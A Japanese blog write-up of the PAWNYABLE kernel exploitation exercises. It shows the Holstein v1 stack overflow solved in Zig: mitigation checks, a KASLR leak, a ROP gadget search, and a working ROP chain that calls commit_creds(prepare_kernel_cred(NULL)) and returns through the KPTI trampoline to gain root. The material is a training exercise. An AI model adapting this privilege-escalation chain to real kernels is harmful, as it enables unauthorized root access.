PAWNYABLE
2025-07-30
Tags: pwn
Table of Contents
- v1: Stack Overflow
- v2: Heap Overflow
- v3: Use after Free
- v4: Race Condition
- userfaultfd
- FUSE
- CVE-2021-3490
ptr-yudaiさんのPAWNYABLE [1]を解いてみた。
以下の解法は複雑で、しかも説明は詳しくないかもしれないから、参考以外を利用するには多分難しいだろう。
PAWNYABLEは実にいい資料だから、pwnを学びたいなら、このページを閉じて、そちらに練習してください。
僕の日本語は下手くそ[^fn:1]だが、それでも書く練習したいと思っている。
それと、pwnにZigを使うことは非常に便利ですが(ま、Cよりも)、ですが資料が存在しないらしい。
== [1m[4mHolstein[22m[24m
=== [1m[4mv1: Stack Overflow[22m[24m
さて、どの緩和策は有効をチェックしよう。
[1m[37mpwn checksec vuln.ko 2>[0m[1m[37m&[0m[1m[36m1[0m[1m[37m[0m
[1m[37m[*] './src/vuln.ko'[0m
[1m[37m Arch: amd64-64-little[0m
[1m[37m RELRO: No RELRO[0m
[1m[37m Stack: No canary found[0m
[1m[37m NX: NX enabled[0m
[1m[37m PIE: No PIE (0x0)[0m
[1m[37m Stripped: No[0m
[1m[37mcat /proc/cpuinfo [0m[1m[37m|[0m[1m[37m grep -q -e [0m[33m'smep.*smap'[0m[1m[37m [0m[1m[36m&&[0m[1m[37m [0m[37mecho[0m[1m[37m [0m[33m'SMEP/SMAP enabled'[0m[1m[37m[0m
[1m[37mcat /sys/devices/system/cpu/vulnerabilities/meltdown [0m[1m[37m|[0m[1m[37m grep -q -e [0m[33m'PTI'[0m[1m[37m [0m[1m[36m&&[0m[1m[37m [0m[37mecho[0m[1m[37m [0m[33m'KPTI enabled'[0m[1m[37m[0m
[1m[37mcat /proc/cmdline [0m[1m[37m|[0m[1m[37m grep -q -e [0m[33m'nokaslr'[0m[1m[37m [0m[1m[36m||[0m[1m[37m [0m[37mecho[0m[1m[37m [0m[33m'KASLR enabled'[0m[1m[37m[0m
[1m[37mSMEP/SMAP enabled[0m
[1m[37mKPTI enabled[0m
[1m[37mKASLR enabled[0m
FGKASLRもチェックしよう:
[1m[37mcat /proc/kallsyms [0m[1m[37m|[0m[1m[37m grep -e [0m[33m'startup_64'[0m[1m[37m -e [0m[33m'swapgs_restore_regs_and_return_to_usermode'[0m[1m[37m -e [0m[33m'prepare_kernel_cred'[0m[1m[37m -e [0m[33m'commit_creds'[0m[1m[37m[0m
[1m[37mffffffff99200000 T startup_64[0m
[1m[37mffffffff99200040 T secondary_startup_64[0m
[1m[37mffffffff99200045 T secondary_startup_64_no_verify[0m
[1m[37mffffffff99200230 T __startup_64[0m
[1m[37mffffffff992005e0 T startup_64_setup_env[0m
[1m[37mffffffff9926e240 T prepare_kernel_cred[0m
[1m[37mffffffff9926e390 T commit_creds[0m
[1m[37mffffffff99a00e10 T swapgs_restore_regs_and_return_to_usermode[0m
[33m# reboot and run again[0m[1m[37m[0m
[1m[37mcat /proc/kallsyms [0m[1m[37m|[0m[1m[37m grep -e [0m[33m'startup_64'[0m[1m[37m -e [0m[33m'swapgs_restore_regs_and_return_to_usermode'[0m[1m[37m -e [0m[33m'prepare_kernel_cred'[0m[1m[37m -e [0m[33m'commit_creds'[0m[1m[37m[0m
[1m[37mffffffffb7600000 T startup_64[0m
[1m[37mffffffffb7600040 T secondary_startup_64[0m
[1m[37mffffffffb7600045 T secondary_startup_64_no_verify[0m
[1m[37mffffffffb7600230 T __startup_64[0m
[1m[37mffffffffb76005e0 T startup_64_setup_env[0m
[1m[37mffffffffb766e240 T prepare_kernel_cred[0m
[1m[37mffffffffb766e390 T commit_creds[0m
[1m[37mffffffffb7e00e10 T swapgs_restore_regs_and_return_to_usermode[0m
まず、KASLRを回避するてめに、アドレスリークが必要だ。
[33mconst[0m[1m[37m [0m[1m[37mstd[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[37m@import[0m[1m[37m([0m[33m"std"[0m[1m[37m);[0m[1m[37m[0m
[1m[37m[0m
[33mpub[0m[1m[37m [0m[33mfn[0m[1m[37m [0m[37mmain[0m[1m[37m()[0m[1m[37m [0m[1m[36m![0m[1m[36mvoid[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[33mconst[0m[1m[37m [0m[1m[37mfd[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33mtry[0m[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mposix[0m[1m[37m.[0m[37mopen[0m[1m[37m([0m[33m"/dev/holstein"[0m[1m[37m,[0m[1m[37m [0m[1m[37m.{[0m[1m[37m [0m[1m[37m.[0m[1m[37mACCMODE[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37m.[0m[1m[37mRDWR[0m[1m[37m [0m[1m[37m},[0m[1m[37m [0m[1m[36m0o660[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[33mdefer[0m[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mposix[0m[1m[37m.[0m[37mclose[0m[1m[37m([0m[1m[37mfd[0m[1m[37m);[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33mvar[0m[1m[37m [0m[1m[37mbuf[0m[1m[36m:[0m[1m[37m [0m[1m[37m[[0m[1m[36m0x400[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[36m32[0m[1m[37m][0m[1m[36mu8[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36mundefined[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[33mconst[0m[1m[37m [0m[1m[37mbytes_read[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33mtry[0m[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mposix[0m[1m[37m.[0m[37mread[0m[1m[37m([0m[1m[37mfd[0m[1m[37m,[0m[1m[37m [0m[1m[36m&[0m[1m[37mbuf[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mdebug[0m[1m[37m.[0m[37mdumpHex[0m[1m[37m([0m[1m[37mbuf[0m[1m[37m[[0m[1m[36m0[0m[1m[37m..[0m[1m[37mbytes_read[0m[1m[37m]);[0m[1m[37m[0m
[1m[37m}[0m[1m[37m[0m
[1m[37mffffffffa0a00000 T startup_64[0m
[1m[37mffffffffa0a00000 T _stext[0m
[1m[37mffffffffa0a00000 T _text[0m
[1m[37mffffffffa0a00040 T secondary_startup_64[0m
[1m[37mffffffffa0a00045 T secondary_startup_64_no_verify[0m
[1m[37mffffffffa0a00110 t verify_cpu[0m
[1m[37mffffffffa0a00210 T sev_verify_cbit[0m
[1m[37mffffffffa0a00220 T start_cpu0[0m
[1m[37mffffffffa0a00230 T __startup_64[0m
[1m[37mffffffffa0a005e0 T startup_64_setup_env[0m
[1m[37m00007ffdcedd8528 06 00 00 00 04 00 00 00 40 00 00 00 00 00 00 00 ........@.......[0m
[1m[37m00007ffdcedd8538 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 @.......@.......[0m
[1m[37m00007ffdcedd8548 68 02 00 00 00 00 00 00 68 02 00 00 00 00 00 00 h.......h.......[0m
[1m[37m00007ffdcedd8558 08 00 00 00 00 00 00 00 03 00 00 00 04 00 00 00 ................[0m
[1m[37m00007ffdcedd8568 A8 02 00 00 00 00 00 00 A8 02 00 00 00 00 00 00 ................[0m
[1m[37m00007ffdcedd8578 A8 02 00 00 00 00 00 00 16 00 00 00 00 00 00 00 ................[0m
[1m[37m00007ffdcedd8588 16 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 ................[0m
[1m[37m00007ffdcedd8598 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 ................[0m
[1m[37m00007ffdcedd85a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................[0m
[1m[37m00007ffdcedd85b8 50 AA 00 00 00 00 00 00 50 AA 00 00 00 00 00 00 P.......P.......[0m
[1m[37m00007ffdcedd85c8 00 10 00 00 00 00 00 00 01 00 00 00 05 00 00 00 ................[0m
[1m[37m00007ffdcedd85d8 00 B0 00 00 00 00 00 00 00 B0 00 00 00 00 00 00 ................[0m
[1m[37m00007ffdcedd85e8 00 B0 00 00 00 00 00 00 A4 FF 07 00 00 00 00 00 ................[0m
[1m[37m00007ffdcedd85f8 A4 FF 07 00 00 00 00 00 00 10 00 00 00 00 00 00 ................[0m
[1m[37m00007ffdcedd8608 01 00 00 00 04 00 00 00 00 B0 08 00 00 00 00 00 ................[0m
[1m[37m00007ffdcedd8618 00 B0 08 00 00 00 00 00 00 B0 08 00 00 00 00 00 ................[0m
[1m[37m00007ffdcedd8628 DC 68 02 00 00 00 00 00 DC 68 02 00 00 00 00 00 .h.......h......[0m
[1m[37m00007ffdcedd8638 00 10 00 00 00 00 00 00 01 00 00 00 06 00 00 00 ................[0m
[1m[37m00007ffdcedd8648 20 22 0B 00 00 00 00 00 20 32 0B 00 00 00 00 00 "...... 2......[0m
[1m[37m00007ffdcedd8658 20 32 0B 00 00 00 00 00 03 2E 00 00 00 00 00 00 2..............[0m
[1m[37m00007ffdcedd8668 70 35 00 00 00 00 00 00 00 10 00 00 00 00 00 00 p5..............[0m
[1m[37m00007ffdcedd8678 02 00 00 00 06 00 00 00 90 43 0B 00 00 00 00 00 .........C......[0m
[1m[37m00007ffdcedd8688 90 53 0B 00 00 00 00 00 90 53 0B 00 00 00 00 00 .S.......S......[0m
[1m[37m00007ffdcedd8698 90 01 00 00 00 00 00 00 90 01 00 00 00 00 00 00 ................[0m
[1m[37m00007ffdcedd86a8 08 00 00 00 00 00 00 00 04 00 00 00 04 00 00 00 ................[0m
[1m[37m00007ffdcedd86b8 C0 02 00 00 00 00 00 00 C0 02 00 00 00 00 00 00 ................[0m
[1m[37m00007ffdcedd86c8 C0 02 00 00 00 00 00 00 30 00 00 00 00 00 00 00 ........0.......[0m
[1m[37m00007ffdcedd86d8 30 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 0...............[0m
[1m[37m00007ffdcedd86e8 53 E5 74 64 04 00 00 00 C0 02 00 00 00 00 00 00 S.td............[0m
[1m[37m00007ffdcedd86f8 C0 02 00 00 00 00 00 00 C0 02 00 00 00 00 00 00 ................[0m
[1m[37m00007ffdcedd8708 30 00 00 00 00 00 00 00 30 00 00 00 00 00 00 00 0.......0.......[0m
[1m[37m00007ffdcedd8718 08 00 00 00 00 00 00 00 51 E5 74 64 06 00 00 00 ........Q.td....[0m
[1m[37m00007ffdcedd8728 00 2C 3B 03 8C 9B FF FF 00 00 00 00 00 00 00 00 .,;.............[0m
[1m[37m00007ffdcedd8738 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................[0m
[1m[37m00007ffdcedd8748 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 ................[0m
[1m[37m00007ffdcedd8758 52 E5 74 64 04 00 00 00 20 22 0B 00 00 00 00 00 R.td.... "......[0m
[1m[37m00007ffdcedd8768 20 32 0B 00 00 00 00 00 20 32 0B 00 00 00 00 00 2...... 2......[0m
[1m[37m00007ffdcedd8778 E0 2D 00 00 00 00 00 00 E0 2D 00 00 00 00 00 00 .-.......-......[0m
[1m[37m00007ffdcedd8788 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................[0m
[1m[37m00007ffdcedd8798 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................[0m
[1m[37m00007ffdcedd87a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................[0m
[1m[37m00007ffdcedd87b8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................[0m
[1m[37m00007ffdcedd87c8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................[0m
[1m[37m00007ffdcedd87d8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................[0m
[1m[37m00007ffdcedd87e8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................[0m
[1m[37m00007ffdcedd87f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................[0m
[1m[37m00007ffdcedd8808 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................[0m
[1m[37m00007ffdcedd8818 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................[0m
[1m[37m00007ffdcedd8828 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................[0m
[1m[37m00007ffdcedd8838 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................[0m
[1m[37m00007ffdcedd8848 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................[0m
[1m[37m00007ffdcedd8858 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................[0m
[1m[37m00007ffdcedd8868 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................[0m
[1m[37m00007ffdcedd8878 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................[0m
[1m[37m00007ffdcedd8888 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................[0m
[1m[37m00007ffdcedd8898 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................[0m
[1m[37m00007ffdcedd88a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................[0m
[1m[37m00007ffdcedd88b8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................[0m
[1m[37m00007ffdcedd88c8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................[0m
[1m[37m00007ffdcedd88d8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................[0m
[1m[37m00007ffdcedd88e8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................[0m
[1m[37m00007ffdcedd88f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................[0m
[1m[37m00007ffdcedd8908 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................[0m
[1m[37m00007ffdcedd8918 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................[0m
[1m[37m00007ffdcedd8928 E8 7E 54 80 04 B2 FF FF 3C D3 B3 A0 FF FF FF FF .~T.....<.......[0m
[1m[37m00007ffdcedd8938 87 CD B4 A0 01 00 00 00 00 8A 6B 02 8C 9B FF FF ..........k.....[0m
[40m[35m`buf[0x408..][0..8]`[39m[49mはカーネルのポインタが似てそう。
何回を動かすでも、このアドレスはカーネルのベースアドレスからのオフセットは固定(差は[40m`0x13d33c`[49m)。
狙いはroot権限昇格なので、ROPchainで[40m[35m`commit_creds(prepare_kernel_cre
d(NULL))`[39m[49mを呼びしよう。
[1m[37mropr --nosys --nojop -R [0m[33m'^(pop rdi;|pop rcx;|mov rsi, rax;.*|add rdi, rsi;.*) ret;'[0m[1m[37m vmlinux[0m
[1m[37m0xffffffff81049576: add rdi, rsi; add r8, rdi; mov rax, r8; ret;[0m
[1m[37m0xffffffff810a714a: mov rsi, rax; sub rsi, rcx; cmp rdx, rax; cmovs r8, rsi; mov rax, r8; ret;[0m
[1m[37m0xffffffff81c9480d: pop rcx; ret;[0m
[1m[37m0xffffffff81cc6e66: pop rdi; ret;[0m
[1m[37m0xffffffff81f1f0e9: pop rdi; ret;[0m
[1m[37m0xffffffff81f496b1: add rdi, rsi; mov [rdi], rdx; mov [rdi+8], rcx; mov [rdi+0x10], r8d; ret;[0m
[33mvar[0m[1m[37m [0m[1m[37mPOP_RDI[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0xffffffff811f61fd[0m[1m[37m;[0m[1m[37m[0m
[33mvar[0m[1m[37m [0m[1m[37mPOP_RCX[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0xffffffff8146ee3c[0m[1m[37m;[0m[1m[37m[0m
[33mvar[0m[1m[37m [0m[1m[37mADD_RDI_RSI_ADD_R8_RDI_MOV_RAX_R8[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0xffffffff81049576[0m[1m[37m;[0m[1m[37m[0m
[33mvar[0m[1m[37m [0m[1m[37mMOV_RSI_RAX_SUB_RSI_RCX_CMOV_R8_RSI_MOV_RAX_R8[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0xffffffff810a714a[0m[1m[37m;[0m[1m[37m[0m
[1m[37m[0m
[33mvar[0m[1m[37m [0m[1m[37mKPTI_TRAMPOLINE[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0xffffffff81800e10[0m[1m[36m+[0m[1m[36m22[0m[1m[37m;[0m[1m[37m[0m
[33mvar[0m[1m[37m [0m[1m[37mPREPARE_KERNEL_CRED[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0xffffffff8106e240[0m[1m[37m;[0m[1m[37m[0m
[33mvar[0m[1m[37m [0m[1m[37mCOMMIT_CREDS[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0xffffffff8106e390[0m[1m[37m;[0m[1m[37m[0m
[1m[37m[0m
[33mfn[0m[1m[37m [0m[37mropchain[0m[1m[37m([0m[1m[37mfd[0m[1m[36m:[0m[1m[37m [0m[1m[37mposix[0m[1m[37m.[0m[1m[37mfd_t[0m[1m[37m)[0m[1m[37m [0m[1m[36m![0m[1m[36mvoid[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[33mconst[0m[1m[37m [0m[1m[37mfile[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37m([0m[1m[37mstd[0m[1m[37m.[0m[1m[37mfs[0m[1m[37m.[0m[1m[37mFile[0m[1m[37m{[0m[1m[37m [0m[1m[37m.[0m[1m[37mhandle[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mfd[0m[1m[37m [0m[1m[37m}).[0m[37mwriter[0m[1m[37m();[0m[1m[37m[0m
[1m[37m [0m[33mvar[0m[1m[37m [0m[1m[37mbw[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mio[0m[1m[37m.[0m[37mbufferedWriter[0m[1m[37m([0m[1m[37mfile[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[33mconst[0m[1m[37m [0m[1m[37mwriter[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mbw[0m[1m[37m.[0m[37mwriter[0m[1m[37m();[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33mtry[0m[1m[37m [0m[1m[37mwriter[0m[1m[37m.[0m[37mwriteByteNTimes[0m[1m[37m([0m[33m'A'[0m[1m[37m,[0m[1m[37m [0m[1m[36m0x400[0m[1m[36m+[0m[1m[36m8[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[33mtry[0m[1m[37m [0m[1m[37mwriter[0m[1m[37m.[0m[37mwriteAll[0m[1m[37m([0m[1m[37mstd[0m[1m[37m.[0m[1m[37mmem[0m[1m[37m.[0m[37masBytes[0m[1m[37m([0m[1m[36m&[0m[1m[37m[[0m[1m[37m_[0m[1m[37m][0m[1m[36mu64[0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[1m[37mPOP_RDI[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[36m0[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mPREPARE_KERNEL_CRED[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mPOP_RDI[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[36m0[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mPOP_RCX[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[36m0[0m[1m[37m,[0m[1m[37m [0m[33m// make sub rsi, rcx a nop[0m
[1m[37m [0m[1m[37mMOV_RSI_RAX_SUB_RSI_RCX_CMOV_R8_RSI_MOV_RAX_R8[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mADD_RDI_RSI_ADD_R8_RDI_MOV_RAX_R8[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mCOMMIT_CREDS[0m[1m[37m,[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[1m[37mKPTI_TRAMPOLINE[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[36m0[0m[1m[37m,[0m[1m[37m [0m[33m// junk[0m
[1m[37m [0m[1m[36m0[0m[1m[37m,[0m[1m[37m [0m[33m// junk[0m
[1m[37m [0m[37m@intFromPtr[0m[1m[37m([0m[1m[36m&[0m[1m[37mret2win[0m[1m[37m),[0m[1m[37m[0m
[1m[37m [0m[1m[37muser_cs[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37muser_rflags[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37muser_rsp[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37muser_ss[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37m}));[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33mtry[0m[1m[37m [0m[1m[37mbw[0m[1m[37m.[0m[37mflush[0m[1m[37m();[0m[1m[37m[0m
[1m[37m [0m[33munreachable[0m[1m[37m;[0m[1m[37m[0m
[1m[37m}[0m[1m[37m[0m
[1m[37m[0m
[33mfn[0m[1m[37m [0m[37madjust_offsets[0m[1m[37m([0m[1m[37mkaslr_offset[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m)[0m[1m[37m [0m[1m[36mvoid[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[33mconst[0m[1m[37m [0m[1m[37mgadgets[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m&[0m[1m[37m[[0m[1m[37m_[0m[1m[37m][0m[1m[36m*[0m[1m[36mu64[0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[1m[36m&[0m[1m[37mPOP_RDI[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[36m&[0m[1m[37mPOP_RCX[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[36m&[0m[1m[37mADD_RDI_RSI_ADD_R8_RDI_MOV_RAX_R8[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[36m&[0m[1m[37mMOV_RSI_RAX_SUB_RSI_RCX_CMOV_R8_RSI_MOV_RAX_R8[0m[1m[37m,[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[1m[36m&[0m[1m[37mKPTI_TRAMPOLINE[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[36m&[0m[1m[37mPREPARE_KERNEL_CRED[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[36m&[0m[1m[37mCOMMIT_CREDS[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37m};[0m[1m[37m[0m
[1m[37m [0m[33mfor[0m[1m[37m [0m[1m[37m([0m[1m[37mgadgets[0m[1m[37m)[0m[1m[37m [0m[1m[36m|[0m[1m[37mg[0m[1m[36m|[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[1m[37mg[0m[1m[37m.[0m[1m[36m*[0m[1m[37m [0m[1m[36m+=[0m[1m[37m [0m[1m[37mkaslr_offset[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37m}[0m[1m[37m[0m
[1m[37m}[0m[1m[37m[0m
[1m[36m<<[0m[1m[37mpawnyable[0m[1m[36m-[0m[1m[37mlib[0m[1m[36m>>[0m[1m[37m[0m
[1m[36m<<[0m[1m[37mlk01[0m[1m[36m-[0m[1m[36m1[0m[1m[36m-[0m[1m[37mropchain[0m[1m[36m>>[0m[1m[37m[0m
[1m[37m[0m
[33mfn[0m[1m[37m [0m[37mret2win[0m[1m[37m()[0m[1m[37m [0m[1m[36mnoreturn[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mlog[0m[1m[37m.[0m[37minfo[0m[1m[37m([0m[33m"You won!!"[0m[1m[37m,[0m[1m[37m [0m[1m[37m.{});[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33mconst[0m[1m[37m [0m[1m[37margs[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37m[[0m[1m[37m_[0m[1m[36m:[0m[1m[36mnull[0m[1m[37m][0m[1m[36m?[0m[1m[37m[[0m[1m[36m*:[0m[1m[36m0[0m[1m[37m][0m[33mconst[0m[1m[37m [0m[1m[36mu8[0m[1m[37m{[0m[33m"/usr/bin/whoami"[0m[1m[37m};[0m[1m[37m[0m
[1m[37m [0m[33mconst[0m[1m[37m [0m[1m[37menv[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37m[[0m[1m[37m_[0m[1m[36m:[0m[1m[36mnull[0m[1m[37m][0m[1m[36m?[0m[1m[37m[[0m[1m[36m*:[0m[1m[36m0[0m[1m[37m][0m[1m[36mu8[0m[1m[37m{};[0m[1m[37m[0m
[1m[37m [0m[33mswitch[0m[1m[37m [0m[1m[37m([0m[1m[37mposix[0m[1m[37m.[0m[37mexecveZ[0m[1m[37m([0m[33m"/usr/bin/whoami"[0m[1m[37m,[0m[1m[37m [0m[1m[37margs[0m[1m[37m[[0m[1m[36m0[0m[1m[37m..[0m[1m[37margs[0m[1m[37m.[0m[1m[37mlen[0m[1m[37m],[0m[1m[37m [0m[1m[37menv[0m[1m[37m[[0m[1m[36m0[0m[1m[37m..[0m[1m[37menv[0m[1m[37m.[0m[1m[37mlen[0m[1m[37m]))[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[33melse[0m[1m[37m [0m[1m[36m=>[0m[1m[37m [0m[33munreachable[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37m}[0m[1m[37m[0m
[1m[37m [0m[33munreachable[0m[1m[37m;[0m[1m[37m[0m
[1m[37m}[0m[1m[37m[0m
[1m[37m[0m
[33mfn[0m[1m[37m [0m[37mleakBaseAddress[0m[1m[37m([0m[1m[37mfd[0m[1m[36m:[0m[1m[37m [0m[1m[37mposix[0m[1m[37m.[0m[1m[37mfd_t[0m[1m[37m)[0m[1m[37m [0m[1m[36m![0m[1m[36mu64[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[33mvar[0m[1m[37m [0m[1m[37mbuf[0m[1m[36m:[0m[1m[37m [0m[1m[37m[[0m[1m[36m0x408[0m[1m[36m+[0m[1m[36m8[0m[1m[37m][0m[1m[36mu8[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36mundefined[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37m_[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33mtry[0m[1m[37m [0m[1m[37mposix[0m[1m[37m.[0m[37mread[0m[1m[37m([0m[1m[37mfd[0m[1m[37m,[0m[1m[37m [0m[1m[36m&[0m[1m[37mbuf[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[33mconst[0m[1m[37m [0m[1m[37mret[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mmem[0m[1m[37m.[0m[37mbytesAsValue[0m[1m[37m([0m[1m[36mu64[0m[1m[37m,[0m[1m[37m [0m[1m[37mbuf[0m[1m[37m[[0m[1m[36m0x408[0m[1m[37m..]).[0m[1m[36m*[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[33mreturn[0m[1m[37m [0m[1m[37mret[0m[1m[37m [0m[1m[36m-[0m[1m[37m [0m[1m[36m0x13d33c[0m[1m[37m;[0m[1m[37m[0m
[1m[37m}[0m[1m[37m[0m
[1m[37m[0m
[33mpub[0m[1m[37m [0m[33mfn[0m[1m[37m [0m[37mmain[0m[1m[37m()[0m[1m[37m [0m[1m[36m![0m[1m[36mvoid[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[37mcatchSigsegv[0m[1m[37m([0m[1m[36m&[0m[1m[37mwhoami[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[37msaveState[0m[1m[37m();[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33mconst[0m[1m[37m [0m[1m[37mfd[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33mtry[0m[1m[37m [0m[1m[37mposix[0m[1m[37m.[0m[37mopen[0m[1m[37m([0m[33m"/dev/holstein"[0m[1m[37m,[0m[1m[37m [0m[1m[37m.{[0m[1m[37m [0m[1m[37m.[0m[1m[37mACCMODE[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37m.[0m[1m[37mRDWR[0m[1m[37m [0m[1m[37m},[0m[1m[37m [0m[1m[36m0o660[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[33mdefer[0m[1m[37m [0m[1m[37mposix[0m[1m[37m.[0m[37mclose[0m[1m[37m([0m[1m[37mfd[0m[1m[37m);[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33mconst[0m[1m[37m [0m[1m[37mkernel_base[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33mtry[0m[1m[37m [0m[37mleakBaseAddress[0m[1m[37m([0m[1m[37mfd[0m[1m[37m);[0m[1m[37m[0m
